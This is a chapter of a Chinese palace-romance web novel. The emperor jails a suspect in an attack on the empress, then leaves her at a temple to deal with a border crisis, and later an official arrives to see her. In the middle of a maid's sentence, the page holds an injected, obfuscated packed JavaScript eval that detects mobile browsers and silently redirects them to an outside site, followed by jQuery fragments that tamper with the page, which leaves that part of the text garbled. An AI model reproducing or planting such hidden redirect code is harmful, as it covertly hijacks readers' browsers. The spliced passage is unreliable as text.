75. 乱局

作品:《退婚之后(重生)

    冬日昼短,未到酉时天色就彻底暗沉下来。


    当萧御风尘仆仆地赶到禅院时,晏宁却因太过疲惫而陷入沉睡。


    看出了他眼底的担忧,青橘轻声安慰道:“皇上不必担心,慈恩大师已为娘娘把过脉,他说只要休养几日,便可安然无恙。”


    闻言,萧御眉心渐松,扭头看了她一眼:“皇后睡了多久?”


    “娘娘才睡下不久,约莫有一刻钟。”


    “入睡前她在做什么?”


    见他问起此事,青橘忍不住叹了口气:“此前娘娘一直忧心于遇刺之事,奴婢劝了好几回,她都不肯歇下。”


    听了她的回复后,萧御再度皱起眉心:“清霜何在?”


    “她伤得不轻,娘娘就让她先回去休息了。”见他神色有变,青橘顿时绷紧了心弦。


    “你去把刘康叫来,朕有话要问他。”


    见他并未苛责自己,青橘在转身之际悄然松了口气。


    等她带回刘康的时候,萧御已经等在了偏房里。二人谈话之时,她便自觉地退到了屋外。


    天色越来越暗,入夜之后,偏房里的烛火便没再熄过。


    先是刘康,后是大理寺卿陆肇,到了下半夜,便是被御林军扣来的裴长清。


    没人知道屋里发生了什么,只是次日一早,裴长清就被押入了天牢。


    而当晏宁听到这个消息时,已接近卯时。


    她急切地请来萧御,一见面便问起了裴长清。


    “臣妾听闻皇上已将裴长清打入天牢,可此案疑点重重,理应查清一切再做处置。”


    见她如此忧虑,萧御的眸中划过一丝怜惜:“太医说你动了胎气,需要静心休养,不可太过操劳。”


    说着,他便走到床前坐下,温柔地抚上了她的面颊。


    “这几日你辛苦了,往后的事就交由朕来处理吧。”


    “可是……”


    见她仍要反驳,萧御的动作越发轻柔,眼神里却透着无法撼动的坚持。


    “眼下当以凤体为重,这些庞杂小事就不要再想了。你放心,朕一定会将害你之人绳之以法。”


    “可那裴长清未必就是真凶,我总觉得此事还有蹊跷。”


    “朕已让陆肇调查此事,不日便会有结果,你且安心休养,莫要再为此事忧心。”


    他的态度异常坚决,甚至都不愿与她过多讨论,以至于她完全猜不透他到底在想些什么,只能失望地垂下眼眸。


    或许是看出了她的低落,萧御叹息着解释:“你莫要多心,朕这么做只是希望你能安心养胎。”


    见她垂首不语,像是仍在生气,他便伸手抬起她的下巴,柔声安抚道:“你放心,朕绝不会冤枉任何人,待胎像稳固之后,朕自会给你一个交代。”


    有了他的承诺,晏宁便只能默默颔首、静待后续。


    ***


    即便到了感业寺,萧御也同样忙于政事,鲜少能陪在她身边。


    自那日之后,他再没提起过与行刺相关的事,而她几次想问,却又在看见他眼底的疲惫后戛然而止。


    次日一早,她才从清霜口中得知了令萧御疲乏烦忧的原因。


    原是燕州守将曾吉来信,说北戎军队又在边境生事,已有不少百姓因此伤亡。


    面对北戎无端的挑衅,曾吉自是极力主战,可兵部却以今岁酷寒为由,驳回了他的作战申请。


    曾吉不服,故而绕过兵部,直接上书天子。


    燕州是萧御为王时的封地,也是他的根基所在。他若不允准曾吉之请,难免会让旧部下离心。


    可若应了他的请求,便是助长了越级汇报的风气,他虽贵为天子,却也不能公然地无视朝廷的规章法度。


    就在他烦闷之时,兵部尚书竟也呈上了一封参告的奏折。


    一边是燕州旧部,一边是朝廷的纲纪法度,纵然他一向果断,此时也不禁陷入了两难。


    与此同时,御史台的奏折如雪花般砸来,每日都有人前来参奏。


    为了不搅扰晏宁休养,萧御只能先行回宫。


    “朕已命徐岱留下,你可在此安心静养,等朕处理完曾吉的事再回来接你。”


    看着他因疲惫而泛着红色血丝的眼眸,晏宁顿时生出了几分不忍。


    “如今北戎作乱,边境百姓惊恐难安,无论是战是和,都需早做决断。当务之急便是召集群臣,商讨出御敌抚民的最佳方案。你早些回宫也好,免得局势越发混乱。”


    见她如此顾全大局,萧御在欣慰的同时,也不免生出几分怜惜。


    “只是朕这一走,你在此处便越发孤寂了。”


    “如今我已能下床行走,等天气好些,便能坐在院子里晒晒太阳。若逢雨天,亦可在屋子里翻看经卷。再者还有青橘作陪,想来不会憋闷无趣。”


    望着她唇角恬淡的笑意,萧御眸光一转,眼底生出些许惆怅。


    “你的意思是,朕在于不在都无甚区别是吗?”


    瞥见他眸中的忧郁,晏宁顿时心弦一紧,慌忙解释:“我不是这个意思……”


    “那你是什么意思?”他挑了挑眉,眼中划过一丝兴味的质疑。


    “军政要事耽误不得,我只是想让你安心回宫……”


    看着她急切辩解的模样,萧御唇角一勾,扬起了一抹别具意味的笑。


    “朕若是走了,你可会想朕?”


    触及他灼热的视线,晏宁面上一热,瞬间就红了脸颊。


    这样的问题总归是让人羞于启齿,更何况她还没有厘清自己对萧御的感情。


    “害羞了?”


    每每见她脸红,萧御都忍不住生出逗弄之意。此刻,他便又一次含笑抚上她的面颊。


    不知为何,他的抚触总带着强烈的热度,透过肌肤直击心底,每一次都搅得她心悸不已。


    很快她的两颊就不断泛红,犹如二月的桃花,透着粉嫩的光泽,不断地蛊惑着他的心神。


    粗粝的拇指渐渐下滑,转眼就落在了殷红的唇瓣上。


    自她有孕之后,二人已经久未行·房。此刻独处一室,他难免意动神摇。


    可就在他俯首想要索吻之时,晏宁却伸手按住了他的唇。


    “不行……”


    萧御握住她的手腕,移开的同时,眸光也逐渐幽暗:“为何不行?”


    “我们还在寺里,不可冒犯神明……”


    她虽面颊羞红,可眼底尽是坚持,片刻的对视后,萧御颓然地叹了口气。


    虔诚如她,自是不敢逾矩。所以他只能按下心底的邪火,尽快地偃旗息鼓。


    见他默不作声,晏宁难免有些局促不安。


    她很想说些什么,可大脑一片空白,只能低下头,紧张地捏着指节。


    “晏宁……”


    直到耳畔传来一声轻柔的呼唤,她才怔愣地抬起头来。


    “朕虽许了你的诱敌之计,却无时无刻不忧心挂怀。此番你虽平安无事,可朕却深觉后怕。你若真有不测,朕这辈子都无法原谅自己。所以往后,无论如何,朕都不会再让你以身犯险了。”


    墨色的眼眸犹如一汪清泉,不断地流淌出涓涓情意。


    晏宁心弦一颤,胸腔内翻涌起一股莫名的悸动。


    她已知晓他心悦自己,却没想到会是这样的情深意重。所以纵使她还无法回以同样的深情,却也不免深受感动。


    于是,她伸手环住他的腰,俯身靠在了他的怀里。


    萧御先是一愣,直到她将脸颊紧紧地贴上他的胸膛,他才后知后觉地醒悟其中的深义。


    她在用自己的方式含蓄地表明心意,也许终有一日,她会真正地将他放在心里,珍之爱之。


    相聚时难别亦难,离愁别绪总是难以消散。


    黄昏之时,天色渐渐暗沉,很快便乌云密布,落下了一场绵密的冬雨。


    他在时倒也没觉得有多热闹,可他一走,连屋子都变得空荡起来。


    见她一副怅然若失的模样,青橘唇角一弯,调皮地上前打趣:“娘娘可是想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121352|184108||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    皇上了?”


    对上她促狭的目光,晏宁面上一热,忽然就红了脸颊。


    “娘娘不必害羞,皇上对您那么好,您舍不得他走也很正常……”说着,她粲然一笑,眼底闪着明媚的光芒。


    望着她眼底的笑意,晏宁呼吸一滞,面颊越发滚烫,连心口都漫出了一股熨贴的暖意。


    “说起来,皇上还真是万中无一的好夫婿!无论是出身相貌,还是武力智谋,当今世上怕都无人能出其右。更何况他还对您一心一意,矢志不渝!”


    见她如此夸耀萧御,甚至是带着一种夸张的崇敬,晏宁忍不住轻笑道:“他若真像你说的这么好,那本宫岂不是高攀他了?”


    “话也不能这么说……”青橘慧黠地笑了笑,眼珠一转便又是一副讨喜的说辞。


    “娘娘可是上京城中的贵女典范,普天之下,也就只有您这样才貌双全的女子才能配得上他。”


    闻言,晏宁忍俊不禁地点了点她的额心:“你这张嘴倒是厉害的很!”


    看着她唇边的笑意,青橘越发神采飞扬:“奴婢说的都是实话,您和皇上可不就是天造地设的一对吗?不信,您问清霜!”


    见她扭头看向自己,站在一旁的清霜有些尴尬地抿了抿唇。


    见状,晏宁无奈地摇了摇头,眼底却满是宠溺的笑:“你自己油嘴滑舌也就罢了,何苦要难为清霜!”


    “这怎么能叫为难呢?清霜,你尽管实话实说,咱们娘娘和皇上可是绝配吗?”


    对上她戏谑的目光,清霜面上一热,而后便垂下了眼眸。


    “青橘惯爱贫嘴,你别理她……”


    “娘娘……”就在青橘含笑娇嗔之际,垂首的清霜忽然给出了回答。


    “其实青橘说的没错……”她顿了顿,而后鼓足勇气地抬起头来,“您和皇上确实是极为般配!”


    没想到一向寡言内敛的清霜竟也会开口附和,晏宁面上的红晕越发加深。


    看着她娇羞的面容,清霜的眼底划过一丝淡淡的笑意。


    窗外的雨势逐渐变大,让本就寂静的山寺变得越发凄寒。


    萧御走后,青橘就在禅房中铺了一张软榻,以便能就近伺候。


    只是山中岁月容易过,一晃眼便过了十余日。


    眼看着年关将近,萧御却迟迟没派人来接自己,晏宁便也有些着急了。


    这日清晨,清霜刚送来早膳,她就发出了一声急切的询问。


    “宫里还没有消息吗?”


    望着她焦灼的眼眸,清霜凝重地叹了口气。


    “皇上回宫之后就一直在处理曾将军的事,好不容易才平息众怒,可北戎却不断挑事。”


    “北戎既如此挑衅,大周也理应回击,好教他们知道咱们的厉害。”


    听了青橘的话,清霜眉心一紧,眼底生出一丝阴郁。


    “眼下正值寒冬,边境的战士虽已适应苦寒的天气,可比起北戎人来还是略逊一筹。若真打起战来,未必能讨到什么好处。也是因为这个原因,兵部才会驳回曾将军之请。”


    “那该怎么办?难道就任由他们挑衅吗?”


    见她面露激愤,晏宁便打算开口安抚,可这时门外却传来了徐岱的声音。


    “皇后娘娘,工部的柴大人在外求见。”


    闻言,晏宁眉心一紧,眼底划过一缕疑思。


    工部虽人员庞杂,并无她相熟之人,可本朝官员中柴姓之人却实在少见。故而徐岱话音刚落,她的脑海中就不由自主地浮现了一张熟悉的面孔。


    柴蕴之!


    自那日之后她就再也没有见过他,可没想到他这么快就受到提拔,从翰林院里一个不起眼的编撰,一跃成了救驾有功的能臣,还补缺进了油水最多的工部。


    这一笔交易中,他竟成了最大的受益者。可这个时候,他来寺里做什么?


    难不成是为了酬谢,抑或是另有所图?


    想到此处,她心弦一紧,顿时生出了一股警惕。


    “让他进来。”